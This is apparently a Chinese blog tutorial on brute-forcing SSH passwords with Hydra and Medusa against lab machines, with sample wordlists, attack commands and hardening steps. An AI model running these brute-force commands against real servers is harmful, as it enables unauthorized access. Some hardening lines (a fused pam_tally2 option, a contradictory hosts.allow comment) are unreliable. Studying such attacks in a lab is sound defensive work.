服务器安全测试---Kali破解ssh密码测试

前言:

  本文将介绍常用的暴力破解ssh远程登录账户和密码的工具HydraMedusa,并使用这些工具对靶机进行简单的破解测试,从而得到有效的防范方法。

1. 工具介绍

  工具都是Kali系统附带有的,当然,其他linux系统也可下载测试。先来认识下这些工具。


Hydra

  Hydra (海德拉)是世界顶级密码暴力密码破解工具,支持几乎所有协议的在线密码破解,功能强大,其密码能否被破解关键取决于破解字典是否足够强大,在网络安全渗透过程中是一款必备的测试工具。

参数介绍:

hydra [[[-l LOGIN|-L FILE] [-p PASS|-P FILE]] | [-C FILE]] [-e nsr] [-o FILE] [-t TASKS] [-M FILE [-T TASKS]] [-w TIME] [-W TIME] [-f] [-s PORT] [-x MIN:MAX:CHARSET] [-c TIME] [-ISOuvVd46] [service://server[:PORT][/OPT]]
-R 恢复上一次的会话
-I 忽略存在的恢复文件
-S SSL连接
-s 端口号
-l 尝试登陆名
-L 从文件中导入登录名
-p 尝试密码
-P 从文件中导入密码
-e nsr n尝试空密码 s尝试与用户名相同的密码 r反向登陆循环
-c TIME 设置尝试登陆等待时间
-4 / -6 使用IPV4地址或IPV6地址
-v / -V 详细信息模式/显示每次尝试的用户名+密码/调试模式
-O 使用旧版本SSL v2和v3
-q 不显示连接错误信息
-h 帮助
-M 从文件中导入服务类型
-f / -F 在找到第一个账号/密码后,停止破解
server 目标IP
service 支持的服务类型
支持的服务类型:adam6500 asterisk cisco cisco-enable cvs firebird ftp ftps http[s]-{head|get|post} http[s]-{get|post}-form http-proxy http-proxy-urlenum icq imap[s] irc ldap2[s] ldap3[-{cram|digest}md5][s] mssql mysql nntp oracle-listener oracle-sid pcanywhere pcnfs pop3[s] postgres radmin2 rdp redis rexec rlogin rpcap rsh rtsp s7-300 sip smb smtp[s] smtp-enum snmp socks5 ssh sshkey svn teamspeak telnet[s] vmauthd vnc xmpp
Examples:
hydra -l user -P passlist.txt ftp://192.168.0.1
  hydra -L userlist.txt -p defaultpw imap://192.168.0.1/PLAIN
  hydra -C defaults.txt -6 pop3s://[2001:db8::1]:143/TLS:DIGEST-MD5
  hydra -l admin -p password ftp://[192.168.0.0/24]/
  hydra -L logins.txt -P pws.txt -M targets.txt ssh


Medusa

  Medusa(美杜莎)是一个速度快,支持大规模并行,模块化,爆破登录。可以同时对多个主机,用户或密码执行强力测试。

基于线程的并行测试:可以对多个执行暴力测试 主机,用户或密码同时进行。
灵活的用户输:目标信息(主机/用户/密码)可以在 多种方式。 例如,每个项目可以是单个条目或文件    包含多个条目, 此外,组合文件格式允许用户 完善目标列表。
模块化设计: 每个服务模块都作为独立的.mod文件存在。 这表示 无需对核心应用程序进行任何修改即可扩展受支持的列表 暴力破解服务。 

参数介绍:

Medusa [-h host|-H file] [-u username|-U file] [-p password|-P file] [-C file] -M module [OPT]
-h [TEXT]      目标IP
-H [FILE]      目标主机文件
-u [TEXT]      用户名
-U [FILE]      用户名文件
-p [TEXT]      密码
-P [FILE]      密码文件
-C [FILE]      组合条目文件
-O [FILE]      文件日志信息
-e [n/s/ns]    N意为空密码,S意为密码与用户名相同
-M [TEXT]      模块执行名称
-m [TEXT]      传递参数到模块
-d             显示所有的模块名称
-n [NUM]       使用非默认端口
-s             启用SSL
-r [NUM]       重试间隔时间,默认为3秒
-t [NUM]       设定线程数量
-L             并行化,每个用户使用一个线程
-f             在找到第一个账号/密码后,停止破解
-q             显示模块的使用信息
-v [NUM]       详细级别(0-6详细)
-w [NUM]       错误调试级别(0-10)
-V             显示版本
-Z [TEXT]      继续扫描上一次
Example:
medusa -M ssh -u root -P passwd.txt -h 192.168.126.130 -f -v 6


两者比较
  1. Medusa比Hydra稳定,但是破解速度比较慢。

  2. SSH尝试速度比FTP尝试速度慢。

  3. Medusa支持参数和服务类型比Hydra少,可能是很久不更新的原因。

2. 测试环境

Kali机配置:
版本:Linux kali 4.15.0-kali2-amd64
地址:10.8.161.163

靶机配置:
靶机1
地址:10.8.161.9
账号1:root
密码:a123.com
普通用户账号:user
普通用户密码:6688aabbcc
靶机2
地址:10.8.161.18
账号:root
密码:666QWE888

主机群地址文件
host.txt

cat host.txt
10.8.161.9
10.8.161.18

用户字典文件
user.txt

cat user.txt
admin
admin123
root
root123
user
Administrotor
adminroot
gly
gly123

密码字典文件
passwd.txt

cat passwd.txt
6688aabbcc
asdfghq%^
adminqaz888
abc.123
666QWE888
100120354
a123.com        # 为了节省时间,把已知靶机密码写进密码本

3. 测试过程

Hydra

hydra -L user.txt -P passwd.txt  -M host.txt -t 20 ssh 
-L 指定用户文件
-P 指定密码文件
-M 指定主机群文件
-t 指定使用的线程数,根据自己的设备性能设置

在这里插入图片描述

Medusa

medusa  -U user.txt -P passwd.txt  -H host.txt  -M ssh -t 10
-U 指定用户文件
-P 指定密码文件
-H 指定主机群文件
-t 指定使用的线程数,根据自己的设备性能设置

在这里插入图片描述

4.如何防范暴力破解

①定时更换密码
②设置更为复杂的密码
③设置密码登录次数

修改如下文件:
/etc/pam.d/sshd    (远程ssh) 
/etc/pam.d/login    (终端) 

在第一行下即#%PAM-1.0的下面添加:
auth required  pam_tally2.so deny=3 unlock_time=600 even_deny_rootroot_unlock_time

各参数解释:
even_deny_root    也限制root用户;   
deny           设置普通用户和root用户连续错误登陆的最大次数,超过最大次数,则锁定该用户   
unlock_time        设定普通用户锁定后,多少时间后解锁,单位是秒;
root_unlock_time      设定root用户锁定后,多少时间后解锁,单位是秒;

手动解除锁定:
查看错误登录次数:pam_tally2 –u tom
查看某一用户错误登陆次数:pam_tally –-user
例如,查看work用户的错误登陆次数:pam_tally –-user work
清空某一用户错误登陆次数:pam_tally –-user –-reset
例如,清空 work 用户的错误登陆次数,pam_tally –-user work –-reset

④修改端口号

vim /etc/ssh/sshd_config
Port 1-65535  #开启端口限定,并指定端口1-65535之间

⑤禁用root用户登陆,平时使用普通用户sudo提权。

usermod root -s /sbin/nologin

⑥只允许指定ip登陆

vim /etc/hosts.allow
例如sshd:8.8.8.8:allow  #禁止8.8.8.8 登陆

⑦禁止密码登录,采用秘钥登陆

一.生成密钥的公钥和私钥
  1.ssh-keygen -t rsa 
二.将生成的私钥(id_rsa)下载到本地的windows机,并把公钥导入到.ssh/authorized_keys 文件中去
  1.#cd /root/.ssh/
  2.#cat id_rsa.pub > authorized_keys 
三.sshd配置
   1.sshd配置文件路径 /etc/ssh/sshd_config
四.设置sshd  服务器服务,打开以下设置:
        RSAAuthentication yes 
        PubkeyAuthentication yes
        AuthorizedKeysFile      /root/.ssh/authorized_keys
        ChallengeResponseAuthentication no 
        PasswordAuthentication no 
        UsePAM no 
五.重启ssh服务
    1.   #service ssh  restart (注意:如果是centos7以下版本)
    2.如果是centos7以上  
      查看ssh服务状态:systemctl status sshd.service
      开启ssh服务:systemctl start sshd.service
      重启ssh服务:systemctl restart sshd.service
      服务器自动开启:systemctl enable sshd.service
六.xshell登录
      登陆时候选择ssh登陆 ,添加id_rsa私钥文件,输入建立私钥时候的密码,就成功了。

5.密码字典下载

包含内容:
0-9a-zAZ~!@#$%^&**()_|:">?等所有密码,需要配合阳寿跑的密码字典!!!∑(゚Д゚ノ)ノ
点击这里查看密码字典
ᕦ(・ㅂ・)ᕤ点击这里查看字典文档ᕦ(・ㅂ・)ᕤ


======================================================================================================================================================================================================================================================================================================
辛苦浏览观看,如果对你有帮助,请顺手点个赞吧 (σ゚∀゚)σ…:*☆

  • 7
    点赞
  • 41
    收藏
    觉得还不错? 一键收藏
  • 打赏
    打赏
  • 5
    评论
Kali Linux是一个基于Debian的Linux发行版,主要用于渗透测试和网络安全评估。其中Kali-rolling是Kali Linux的滚动发行版,意味着它是一个持续更新的版本,而不是像以前的发行版那样有一个新版本发布。 Kali-rolling作为一个渗透测试工具,提供了丰富的网络安全工具和资源。它包含了各种各样的渗透测试工具,如Metasploit框架、Nmap、Aircrack-ng等。这些工具可以用来评估一个系统的安全性,发现潜在的漏洞和弱点,并提供相应的解决方案。 除了常规的渗透测试工具,Kali-rolling还包含了在网络安全中广泛使用的其他资源,如字典文件、恶意软件样本、渗透测试教程等。这些资源能够帮助渗透测试人员更好地理解和学习渗透测试的技术和方法。 Kali-rolling不仅适用于专业渗透测试人员,也适用于任何对网络安全感兴趣的人。它提供了友好的图形用户界面和易于使用的工具,使用户能够轻松地进行各种渗透测试活动。同时,Kali-rolling还可以用作安全操作系统,用于保护个人计算机或企业网络免受潜在的网络攻击。 总之,Kali-rolling是一个功能强大的渗透测试工具,它提供了一系列网络安全工具和资源,可用于评估和保护计算机系统的安全性。无论是渗透测试专业人员还是网络安全爱好者,都可以从Kali-rolling中受益,并提升他们的技术水平。
评论 5
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包

打赏作者

king config

你的鼓励将是我创作的最大动力

¥1 ¥2 ¥4 ¥6 ¥10 ¥20
扫码支付:¥1
获取中
扫码支付

您的余额不足,请更换扫码支付或充值

打赏作者

实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值